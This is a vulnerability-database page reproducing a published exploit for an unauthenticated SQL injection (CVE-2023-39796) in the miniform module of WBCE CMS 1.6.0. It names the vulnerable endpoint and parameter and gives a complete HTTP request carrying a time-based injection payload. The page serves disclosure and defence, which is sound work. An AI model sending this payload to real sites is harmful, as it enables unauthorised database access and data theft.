Lucene search
K

WBCE 1.6.0 SQL Injection

🗓️ 15 Apr 2024 00:00:00Reported by Young PopeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 555 Views

Unauthenticated SQL injection in WBCE 1.6.0, allows unauthorized access to the databas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WBCE 1.6.0 - Unauthenticated SQL injection Vulnerability
12 Apr 202400:00
zdt
ATTACKERKB
CVE-2023-39796
10 Nov 202306:15
attackerkb
Circl
CVE-2023-39796
23 Nov 202314:03
circl
CNNVD
WBCE CMS Security Vulnerability
10 Nov 202300:00
cnnvd
CVE
CVE-2023-39796
10 Nov 202300:00
cve
Cvelist
CVE-2023-39796
10 Nov 202300:00
cvelist
Exploit DB
WBCE 1.6.0 - Unauthenticated SQL injection
12 Apr 202400:00
exploitdb
Nuclei
WBCE 1.6.0 - SQL Injection
5 Jun 202603:02
nuclei
NVD
CVE-2023-39796
10 Nov 202306:15
nvd
Prion
Sql injection
10 Nov 202306:15
prion
Rows per page
`# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0  
# Date: 15.11.2023   
# Exploit Author: young pope   
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS   
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip   
# Version: 1.6.0   
# Tested on: Kali linux   
# CVE : CVE-2023-39796  
  
There is an sql injection vulnerability in *miniform* module which is a   
default module installed in the *WBCE* cms. It is an unauthenticated   
sqli so anyone could access it and takeover the whole database.  
  
In file /modules/miniform/ajax_delete_message.php there is no   
authentication check. On line |40| in this file, there is a |DELETE|   
query that is vulnerable, an attacker could jump from the query using   
tick sign - ```.  
  
Function |addslashes()|   
(https://www.php.net/manual/en/function.addslashes.php) escapes only   
these characters and not a tick sign:  
  
* single quote (')  
* double quote (")  
* backslash ()  
* NUL (the NUL byte  
  
The DB_RECORD_TABLE parameter is vulnerable.  
  
If an unauthenticated attacker send this request:  
  
```  
  
POST /modules/miniform/ajax_delete_message.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML,   
like Gecko) Chrome/36.0.1985.125 Safari/537.36  
Connection: close  
Content-Length: 162  
Accept: */*  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Accept-Encoding: gzip, deflate  
  
action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record  
  
```  
  
The response is received after 6s.  
  
Reference links:  
  
* https://nvd.nist.gov/vuln/detail/CVE-2023-39796  
* https://forum.wbce.org/viewtopic.php?pid=42046#p42046  
* https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1  
* https://pastebin.com/PBw5AvGp  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.70992
SSVC
555